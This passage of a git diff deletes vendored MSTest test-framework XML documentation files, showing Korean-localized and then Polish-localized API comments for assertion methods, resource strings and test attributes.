표시됩니다. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 두 컬렉션에 동일한 요소가 포함되어 있는지를 테스트하고, - 한 컬렉션이 다른 컬렉션에 없는 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 요소를 - 포함합니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 요소가 컬렉션 중 하나에서는 발견되었지만 다른 곳에서는 발견되지 - 않은 경우 예외에 포함할 메시지. 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 두 컬렉션에 서로 다른 요소가 포함되어 있는지를 테스트하고, - 두 컬렉션이 순서와 상관없이 동일한 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 여기에는 테스트가 실제 컬렉션과 다를 것으로 - 예상하는 요소가 포함됩니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 두 컬렉션에 서로 다른 요소가 포함되어 있는지를 테스트하고, - 두 컬렉션이 순서와 상관없이 동일한 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 여기에는 테스트가 실제 컬렉션과 다를 것으로 - 예상하는 요소가 포함됩니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 요소를 포함하는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 두 컬렉션에 서로 다른 요소가 포함되어 있는지를 테스트하고, - 두 컬렉션이 순서와 상관없이 동일한 요소를 포함하는 경우 예외를 - throw합니다. - - - 비교할 첫 번째 컬렉션. 여기에는 테스트가 실제 컬렉션과 다를 것으로 - 예상하는 요소가 포함됩니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성되는 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 요소를 포함하는 경우: . 메시지가 - 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 지정된 컬렉션의 모든 요소가 예상 형식의 인스턴스인지를 테스트하고 - 예상 형식이 하나 이상의 요소의 상속 계층 구조에 없는 경우 - 예외를 throw합니다. - - - 테스트가 지정된 형식 중 하나일 것으로 예상하는 요소가 포함된 - 컬렉션. - - - 다음의 각 요소의 예상 형식: . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 지정된 컬렉션의 모든 요소가 예상 형식의 인스턴스인지를 테스트하고 - 예상 형식이 하나 이상의 요소의 상속 계층 구조에 없는 경우 - 예외를 throw합니다. - - - 테스트가 지정된 형식 중 하나일 것으로 예상하는 요소가 포함된 - 컬렉션. - - - 다음의 각 요소의 예상 형식: . - - - - 의 요소가 다음의 인스턴스가 아닌 경우 예외에 포함할 메시지: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 지정된 컬렉션의 모든 요소가 예상 형식의 인스턴스인지를 테스트하고 - 예상 형식이 하나 이상의 요소의 상속 계층 구조에 없는 경우 - 예외를 throw합니다. - - - 테스트가 지정된 형식 중 하나일 것으로 예상하는 요소가 포함된 - 컬렉션. - - - 다음의 각 요소의 예상 형식: . - - - - 의 요소가 다음의 인스턴스가 아닌 경우 예외에 포함할 메시지: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 첫 번째 컬렉션이 두 번째 컬렉션의 하위 집합인지를 - 확인합니다. 한 집합에 중복된 요소가 포함된 경우, 하위 집합에 있는 요소의 - 발생 횟수는 상위 집합에 있는 발생 횟수와 같거나 - 작아야 합니다. - - - 테스트가 다음에 포함될 것으로 예상하는 컬렉션: . - - - 테스트가 다음을 포함할 것으로 예상하는 컬렉션: . - - - 다음의 경우 True 이(가) - 의 하위 집합인 경우 참, 나머지 경우는 거짓. - - - - - 지정된 컬렉션에서 각 요소의 발생 횟수를 포함하는 - 사전을 생성합니다. - - - 처리할 컬렉션. - - - 컬렉션에 있는 null 요소의 수. - - - 지정된 컬렉션에 있는 각 요소의 발생 횟수를 포함하는 - 딕셔너리. - - - - - 두 컬렉션 간의 불일치 요소를 찾습니다. 불일치 요소란 - 예상 컬렉션에 나타나는 횟수가 실제 컬렉션에 - 나타나는 횟수와 다른 요소를 말합니다. 컬렉션은 - 같은 수의 요소가 있는 Null이 아닌 다른 참조로 - 간주됩니다. 이 수준에서의 확인 작업은 호출자의 - 책임입니다. 불일치 요소가 없으면 함수는 false를 - 반환하고 출력 매개 변수가 사용되지 않습니다. - - - 비교할 첫 번째 컬렉션. - - - 비교할 두 번째 컬렉션. - - - 다음의 예상 발생 횟수: - 또는 불일치 요소가 없는 경우 - 영(0). - - - 다음의 실제 발생 횟수: - 또는 불일치 요소가 없는 경우 - 영(0). - - - 불일치 요소(null일 수 있음) 또는 불일치 요소가 없는 경우 - null. - - - 불일치 요소가 발견되면 참, 발견되지 않으면 거짓. - - - - - object.Equals를 사용하여 개체 비교합니다. - - - - - 프레임워크 예외에 대한 기본 클래스입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - 예외. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - - - - 지역화된 문자열 등을 찾기 위한 강력한 형식의 리소스 클래스입니다. - - - - - 이 클래스에서 사용하는 캐시된 ResourceManager 인스턴스를 반환합니다. - - - - - 이 강력한 형식의 리소스 클래스를 사용하여 모든 리소스 조회에 - 대한 현재 스레드의 CurrentUICulture 속성을 재정의합니다. - - - - - [액세스 문자열의 구문이 잘못되었습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 컬렉션에 <{2}>은(는) {1}개가 포함되어야 하는데 실제 컬렉션에는 {3}개가 포함되어 있습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [중복된 항목이 있습니다. <{1}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}>. 대/소문자가 다른 실제 값: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값 <{1}>과(와) 실제 값 <{2}>의 차이가 <{3}>보다 크지 않아야 합니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}({2})>. 실제 값: <{3}({4})>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}>. 실제 값: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값 <{1}>과(와) 실제 값 <{2}>의 차이가 <{3}>보다 커야 합니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}>을(를) 제외한 모든 값. 실제 값: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [AreSame()에 값 형식을 전달하면 안 됩니다. Object로 변환된 값은 동일한 값으로 간주되지 않습니다. AreEqual()을 사용해 보세요. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0}이(가) 실패했습니다. {1}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [async TestMethod with UITestMethodAttribute는 지원되지 않습니다. async를 제거하거나 TestMethodAttribute를 사용하세요.]와 유사한 지역화된 문자열 조회합니다. - - - - - [두 컬렉션이 모두 비어 있습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [두 컬렉션에 같은 요소가 포함되어 있습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [두 컬렉션 참조가 동일한 컬렉션 개체를 가리킵니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [두 컬렉션에 같은 요소가 포함되어 있습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0}({1})]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [(null)]과 유사한 지역화된 문자열을 조회합니다. - - - - - Looks up a localized string similar to (object). - - - - - ['{0}' 문자열이 '{1}' 문자열을 포함하지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0}({1})]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [어설션에 Assert.Equals를 사용할 수 없습니다. 대신 Assert.AreEqual 및 오버로드를 사용하세요.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [컬렉션의 요소 수가 일치하지 않습니다. 예상 값: <{1}>. 실제 값: <{2}>.{0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [인덱스 {0}에 있는 요소가 일치하지 않습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [인덱스 {1}에 있는 요소는 예상 형식이 아닙니다. 예상 형식: <{2}>. 실제 형식: <{3}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [인덱스 {1}에 있는 요소가 (null)입니다. 예상 형식: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 문자열이 '{1}' 문자열로 끝나지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [잘못된 인수 - EqualsTester에는 Null을 사용할 수 없습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [{0} 형식의 개체를 {1} 형식의 개체로 변환할 수 없습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [참조된 내부 개체가 더 이상 유효하지 않습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 매개 변수가 잘못되었습니다. {1}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0} 속성의 형식은 {2}이어야 하는데 실제로는 {1}입니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [{0} 예상 형식: <{1}>. 실제 형식: <{2}>.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 문자열이 '{1}' 패턴과 일치하지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [잘못된 형식: <{1}>. 실제 형식: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 문자열이 '{1}' 패턴과 일치합니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [DataRowAttribute가 지정되지 않았습니다. DataTestMethodAttribute에는 하나 이상의 DataRowAttribute가 필요합니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [{1} 예외를 예상했지만 예외가 throw되지 않았습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 매개 변수가 잘못되었습니다. 이 값은 Null일 수 없습니다. {1}.](과)와 유사한 지역화된 문자열을 조회합니다. - - - - - [요소 수가 다릅니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - 다음과 유사한 지역화된 문자열을 조회합니다. - [지정한 시그니처를 가진 생성자를 찾을 수 없습니다. 전용 접근자를 다시 생성해야 할 수 있습니다. - 또는 멤버가 기본 클래스에 정의된 전용 멤버일 수 있습니다. 기본 클래스에 정의된 전용 멤버인 경우에는 이 멤버를 정의하는 형식을 - PrivateObject의 생성자에 전달해야 합니다.] - - - - - - 다음과 유사한 지역화된 문자열을 조회합니다. - [지정한 멤버({0})를 찾을 수 없습니다. 전용 접근자를 다시 생성해야 할 수 있습니다. - 또는 멤버가 기본 클래스에 정의된 전용 멤버일 수 있습니다. 기본 클래스에 정의된 전용 멤버인 경우에는 이 멤버를 정의하는 형식을 - PrivateObject의 생성자에 전달해야 합니다.] - - - - - - ['{0}' 문자열이 '{1}' 문자열로 시작되지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 예외 형식은 System.Exception이거나 System.Exception에서 파생된 형식이어야 합니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [(예외로 인해 {0} 형식의 예외에 대한 메시지를 가져오지 못했습니다.)]와 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 예상 예외 {0}을(를) throw하지 않았습니다. {1}](과)와 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 예상 예외를 throw하지 않았습니다. 예외는 테스트 메서드에 정의된 {0} 특성에 의해 예상되었습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 {0} 예외를 throw했지만 {1} 예외를 예상했습니다. 예외 메시지: {2}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 {0} 예외를 throw했지만 {1} 예외 또는 해당 예외에서 파생된 형식을 예상했습니다. 예외 메시지: {2}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{1} 예외를 예상했지만 {2} 예외를 throw했습니다. {0} - 예외 메시지: {3} - 스택 추적: {4}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - 단위 테스트 결과 - - - - - 테스트가 실행되었지만 문제가 있습니다. - 예외 또는 실패한 어설션과 관련된 문제일 수 있습니다. - - - - - 테스트가 완료되었지만, 성공인지 실패인지를 알 수 없습니다. - 중단된 테스트에 사용된 것일 수 있습니다. - - - - - 아무 문제 없이 테스트가 실행되었습니다. - - - - - 테스트가 현재 실행 중입니다. - - - - - 테스트를 실행하려고 시도하는 동안 시스템 오류가 발생했습니다. - - - - - 테스트가 시간 초과되었습니다. - - - - - 테스트가 사용자에 의해 중단되었습니다. - - - - - 테스트의 상태를 알 수 없습니다. - - - - - 단위 테스트 프레임워크에 대한 도우미 기능을 제공합니다. - - - - - 재귀적으로 모든 내부 예외에 대한 메시지를 포함하여 예외 메시지를 - 가져옵니다. - - 오류 메시지 정보가 포함된 - 문자열에 대한 메시지 가져오기의 예외 - - - - 클래스와 함께 사용할 수 있는 시간 제한에 대한 열거형입니다. - 열거형의 형식은 일치해야 합니다. - - - - - 무제한입니다. - - - - - 테스트 클래스 특성입니다. - - - - - 이 테스트를 실행할 수 있는 테스트 메서드 특성을 가져옵니다. - - 이 메서드에 정의된 테스트 메서드 특성 인스턴스입니다. - 이 테스트를 실행하는 데 사용됩니다. - Extensions can override this method to customize how all methods in a class are run. - - - - 테스트 메서드 특성입니다. - - - - - 테스트 메서드를 실행합니다. - - 실행할 테스트 메서드입니다. - 테스트 결과를 나타내는 TestResult 개체의 배열입니다. - Extensions can override this method to customize running a TestMethod. - - - - 테스트 초기화 특성입니다. - - - - - 테스트 정리 특성입니다. - - - - - 무시 특성입니다. - - - - - 테스트 속성 특성입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 이름. - - - 값. - - - - - 이름을 가져옵니다. - - - - - 값을 가져옵니다. - - - - - 클래스 초기화 특성입니다. - - - - - 클래스 정리 특성입니다. - - - - - 어셈블리 초기화 특성입니다. - - - - - 어셈블리 정리 특성입니다. - - - - - 테스트 소유자 - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 소유자. - - - - - 소유자를 가져옵니다. - - - - - Priority 특성 - 단위 테스트의 우선 순위를 지정하는 데 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 우선 순위. - - - - - 우선 순위를 가져옵니다. - - - - - 테스트의 설명 - - - - - 테스트를 설명하는 클래스의 새 인스턴스를 초기화합니다. - - 설명입니다. - - - - 테스트의 설명을 가져옵니다. - - - - - CSS 프로젝트 구조 URI - - - - - CSS 프로젝트 구조 URI에 대한 클래스의 새 인스턴스를 초기화합니다. - - CSS 프로젝트 구조 URI입니다. - - - - CSS 프로젝트 구조 URI를 가져옵니다. - - - - - CSS 반복 URI - - - - - CSS 반복 URI에 대한 클래스의 새 인스턴스를 초기화합니다. - - CSS 반복 URI입니다. - - - - CSS 반복 URI를 가져옵니다. - - - - - WorkItem 특성 - 이 테스트와 연결된 작업 항목을 지정하는 데 사용됩니다. - - - - - WorkItem 특성에 대한 클래스의 새 인스턴스를 초기화합니다. - - 작업 항목에 대한 ID입니다. - - - - 연결된 작업 항목에 대한 ID를 가져옵니다. - - - - - Timeout 특성 - 단위 테스트의 시간 제한을 지정하는 데 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 시간 제한. - - - - - 미리 설정된 시간 제한이 있는 클래스의 새 인스턴스를 초기화합니다. - - - 시간 제한 - - - - - 시간 제한을 가져옵니다. - - - - - 어댑터에 반환할 TestResult 개체입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 결과의 표시 이름을 가져오거나 설정합니다. 여러 결과를 반환할 때 유용합니다. - Null인 경우 메서드 이름은 DisplayName으로 사용됩니다. - - - - - 테스트 실행의 결과를 가져오거나 설정합니다. - - - - - 테스트 실패 시 throw할 예외를 가져오거나 설정합니다. - - - - - 테스트 코드에서 로그한 메시지의 출력을 가져오거나 설정합니다. - - - - - 테스트 코드에서 로그한 메시지의 출력을 가져오거나 설정합니다. - - - - - 테스트 코드에 의한 디버그 추적을 가져오거나 설정합니다. - - - - - Gets or sets the debug traces by test code. - - - - - 테스트 실행의 지속 시간을 가져오거나 설정합니다. - - - - - 데이터 소스에서 데이터 행 인덱스를 가져오거나 설정합니다. 데이터 기반 테스트에서 - 개별 데이터 행 실행의 결과에 대해서만 설정합니다. - - - - - 테스트 메서드의 반환 값을 가져오거나 설정합니다(현재 항상 Null). - - - - - 테스트로 첨부한 결과 파일을 가져오거나 설정합니다. - - - - - 데이터 기반 테스트에 대한 연결 문자열, 테이블 이름 및 행 액세스 방법을 지정합니다. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource의 기본 공급자 이름입니다. - - - - - 기본 데이터 액세스 방법입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. 이 인스턴스는 데이터 소스에 액세스할 데이터 공급자, 연결 문자열, 데이터 테이블 및 데이터 액세스 방법으로 초기화됩니다. - - 고정 데이터 공급자 이름(예: System.Data.SqlClient) - - 데이터 공급자별 연결 문자열. - 경고: 연결 문자열에는 중요한 데이터(예: 암호)가 포함될 수 있습니다. - 연결 문자열은 소스 코드와 컴파일된 어셈블리에 일반 텍스트로 저장됩니다. - 이 중요한 정보를 보호하려면 소스 코드 및 어셈블리에 대한 액세스를 제한하세요. - - 데이터 테이블의 이름. - 데이터에 액세스할 순서를 지정합니다. - - - - 클래스의 새 인스턴스를 초기화합니다. 이 인스턴스는 연결 문자열 및 테이블 이름으로 초기화됩니다. - OLEDB 데이터 소스에 액세스하기 위한 연결 문자열 및 데이터 테이블을 지정하세요. - - - 데이터 공급자별 연결 문자열. - 경고: 연결 문자열에는 중요한 데이터(예: 암호)가 포함될 수 있습니다. - 연결 문자열은 소스 코드와 컴파일된 어셈블리에 일반 텍스트로 저장됩니다. - 이 중요한 정보를 보호하려면 소스 코드 및 어셈블리에 대한 액세스를 제한하세요. - - 데이터 테이블의 이름. - - - - 클래스의 새 인스턴스를 초기화합니다. 이 인스턴스는 설정 이름과 연결된 연결 문자열 및 데이터 공급자로 초기화됩니다. - - app.config 파일의 <microsoft.visualstudio.qualitytools> 섹션에 있는 데이터 소스의 이름. - - - - 데이터 소스의 데이터 공급자를 나타내는 값을 가져옵니다. - - - 데이터 공급자 이름. 데이터 공급자를 개체 초기화에서 지정하지 않은 경우 System.Data.OleDb의 기본 공급자가 반환됩니다. - - - - - 데이터 소스의 연결 문자열을 나타내는 값을 가져옵니다. - - - - - 데이터를 제공하는 테이블 이름을 나타내는 값을 가져옵니다. - - - - - 데이터 소스에 액세스하는 데 사용되는 메서드를 가져옵니다. - - - - 값 중 하나입니다. 이(가) 초기화되지 않은 경우 다음 기본값이 반환됩니다. . - - - - - app.config 파일의 <microsoft.visualstudio.qualitytools> 섹션에서 찾은 데이터 소스의 이름을 가져옵니다. - - - - - 데이터를 인라인으로 지정할 수 있는 데이터 기반 테스트의 특성입니다. - - - - - 모든 데이터 행을 찾고 실행합니다. - - - 테스트 메서드. - - - 배열 . - - - - - 데이터 기반 테스트 메서드를 실행합니다. - - 실행할 테스트 메서드. - 데이터 행. - 실행 결과. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index ec600830..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Służy do określenia elementu wdrożenia (pliku lub katalogu) dla wdrożenia testowego. - Może być określony w klasie testowej lub metodzie testowej. - Może mieć wiele wystąpień atrybutu w celu określenia więcej niż jednego elementu. - Ścieżka elementu może być bezwzględna lub względna. Jeśli jest względna, jest określana względem elementu RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - Inicjuje nowe wystąpienie klasy . - - Plik lub katalog do wdrożenia. Ścieżka jest określana względem katalogu wyjściowego kompilacji. Element zostanie skopiowany do tego samego katalogu co wdrożone zestawy testowe. - - - - Inicjuje nowe wystąpienie klasy - - Względna lub bezwzględna ścieżka do pliku lub katalogu do wdrożenia. Ścieżka jest określana względem katalogu wyjściowego 